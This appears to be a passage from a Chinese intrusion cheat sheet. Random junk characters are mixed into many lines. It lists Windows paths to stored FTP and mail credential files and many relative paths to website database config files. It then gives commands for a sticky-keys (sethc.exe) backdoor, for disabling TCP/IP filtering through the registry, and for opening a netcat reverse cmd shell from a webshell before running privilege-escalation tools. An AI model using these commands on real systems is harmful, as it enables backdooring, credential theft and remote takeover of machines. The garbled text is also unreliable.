C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
9 T: C3 L, ?) w' U/ Yc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
2 t+ y1 n, e$ S$ p  s6 M- QC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
" s# W- P6 @; ^5 ic:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

; {1 ]1 |1 y4 P* O' I' M5 m7 f/config.php
/ w# a/ B2 c; a5 K& G../../config.php
6 _1 ~8 U; q* f1 u$ N../config.php
* D6 u! P2 P; ?../../../config.php
' r. t. V3 I" Y; L4 R' D! ^" [3 n/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
1 d5 S' q7 k/ _! A# r5 i/conn.php
, O4 Z7 K7 D- s/ `+ L./conn.php
; n3 [: J$ b# k! |../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
' f! k. D1 S0 X0 w. ?" M/ V../../conn.asp
& U, }5 R1 }+ N+ E+ O../conn.asp
../../../conn.asp
! l# q7 E4 l6 u5 T/config.inc.php
& O* z" v$ f8 N% m2 G' S( R./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
5 T  ?' j/ z; U' Y* Z/config/config.php
../../config/config.php
+ J8 f" x7 i$ P6 O5 v& q% B8 @../config/config.php
, ^7 b/ Y; K! f- @0 l../../../config/config.php
/config/config.inc.php
./config/config.inc.php
1 @( x: w5 H0 ?7 z, i) a../../config/config.inc.php
../config/config.inc.php
: [6 ~( `6 }4 c& u6 R$ c../../../config/config.inc.php
/config/conn.php
+ l4 j' q+ u# r; V" B./config/conn.php
../../config/conn.php
../config/conn.php
9 @2 H! B: n0 M! L  W6 L../../../config/conn.php
/config/conn.asp
4 M$ U. e7 m6 Q+ A; ^, h./config/conn.asp
1 a5 ~* B' x# H7 t6 Y* K../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
# F+ q/ K0 }3 Y' s6 ]' ?  f/config/config.inc.php
5 a+ w, c* w& ]( l./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
. |4 e' ?. z2 s6 }" L../../data/config.php
4 u0 r- z1 P4 m9 W# G; q3 A../data/config.php
9 g- Z: y6 x: s" A; L# I) j../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
! j  }: O% x8 N../data/config.inc.php
../../../data/config.inc.php
6 }2 K+ K" p; p; d% i# e/data/conn.php
6 l- |/ [# }2 C0 w./data/conn.php
4 M2 V4 B- ~! |: \../../data/conn.php
0 J- |5 l7 R/ [3 [% r../data/conn.php
../../../data/conn.php
* ~0 \8 o  I/ z/data/conn.asp
./data/conn.asp
% K8 S4 U& B) N, N../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
+ u8 e  \- U4 }! Y( ?7 k" |! d& K/data/config.inc.php
6 Z. |  `' Q. ~* \0 n! c$ F' d6 G./data/config.inc.php
6 T8 V4 l' x" d../../data/config.inc.php
4 c6 K8 W5 f6 ~. I- ]/ C5 x; Z7 W../data/config.inc.php
../../../data/config.inc.php
/include/config.php
' r$ R' s& u. e2 z! x../../include/config.php
; n, m5 Q! j6 s& u../include/config.php
. n2 }/ D. c% N/ c' m1 j8 v5 Q' G% E../../../include/config.php
. Q3 S1 ^' l" |3 X8 g/include/config.inc.php
./include/config.inc.php
8 ~& M6 l  M8 Z( r6 @5 Y& q../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
  }# G3 o8 ]* X. s2 {( ?# R/include/conn.php
+ W% E  a( d  ?9 `2 u./include/conn.php
. k$ n% l0 z7 C6 |4 z$ M+ Q../../include/conn.php
../include/conn.php
2 E. S" S6 g+ T' Y7 l( d3 Y../../../include/conn.php
/include/conn.asp
4 h, T! S& v5 R+ v/ w$ S./include/conn.asp
../../include/conn.asp
../include/conn.asp
( W' M1 G: p% H; c% `../../../include/conn.asp
/include/config.inc.php
8 H$ J2 _) k3 ~% y./include/config.inc.php
' ~& ~$ C0 @0 s$ L) C4 V' Q. r' g../../include/config.inc.php
0 {: r3 k% o) J' E../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
. [+ e. ~- F9 ~% g/ p3 ^3 w../../inc/config.php
( z4 B( f) w4 i% H0 e8 `../inc/config.php
0 Q: s1 B& A. @../../../inc/config.php
/inc/config.inc.php
& k8 J  V4 D* }2 W) g2 e% a./inc/config.inc.php
  I5 o; W- K/ D( E../../inc/config.inc.php
../inc/config.inc.php
, M7 p$ T' U' H5 E8 ~7 [3 q2 ]../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
& Y! B! y, b0 s- w../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
% b1 v0 i3 f; y: s, `2 n7 B* e../../inc/config.inc.php
../inc/config.inc.php
: b1 v2 x  e; S5 J+ D../../../inc/config.inc.php
/index.php
./index.php
../../index.php
6 Z" Q- D* Y4 {4 x/ b+ m../index.php
../../../index.php
5 x6 \6 f, t5 @. b, Q" a/index.asp
./index.asp
/ d8 f6 Z! c. n9 Q/ L../../index.asp
../index.asp
( _+ n5 I& ~) [+ J/ ^../../../index.asp
% E2 L9 w2 w1 O替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
2 ^$ B6 {2 x* m# V" \* L. z
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
# p0 H& u2 D/ H" B, Q1 t
　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
) W9 u/ E( w6 {2 R( L& |! j5 O' [
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
* l% ]# ]- ~/ C7 p1 D7 h
7 H( G. m' ^. c, E+ j　　attrib c:\windows\system32\sethc.exe +h +r +s
; G$ b7 a, ?/ u7 H: c9 o0 a$ R
; u$ b' W& I9 Y+ j+ }" A　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
9 ]( E2 {8 T3 k: t0 [1 K/ g; iTCP/IP筛选在注册表里有三处，分别是：
( M0 O  _( P# R4 ~) p( v) xHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 k) q1 h# [# `# L* {1 A# p. f
分别用
' p) _  q8 z! E: X4 P2 Z$ Z2 i- `regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
' m% X- e) E' H/ u1 N1 Pregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
. D+ L8 w: i/ l) M命令来导出注册表项

# x7 v  t4 j5 \然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
! w) s* h+ t2 u
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
" g7 f( R5 B* `, M% M" a' A3 f8 Fregedit -s D:\c.reg
导入注册表即可
  @7 W; F. V1 Y
# V! V5 i: ?8 gwebshell提权小技巧
" J3 @- J+ j8 L! Icmd路径:
c:\windows\temp\cmd.exe
. K2 p$ w3 S/ i/ `+ dnc也在同目录下
例如反弹cmdshell：
8 I2 }& ]! Q4 S' X+ Z- z3 J"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
  }  V& E0 l: r$ a4 N1 h通常都不会成功。

! S7 J% F- Y0 o1 C而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
5 C, c1 _1 i) c* U- Y9 {( L命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
! h/ ^: C. e% O+ S" `( x, D8 T& p这个不是重点
* R  S0 i) U8 o2 y! Y: m9 P我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功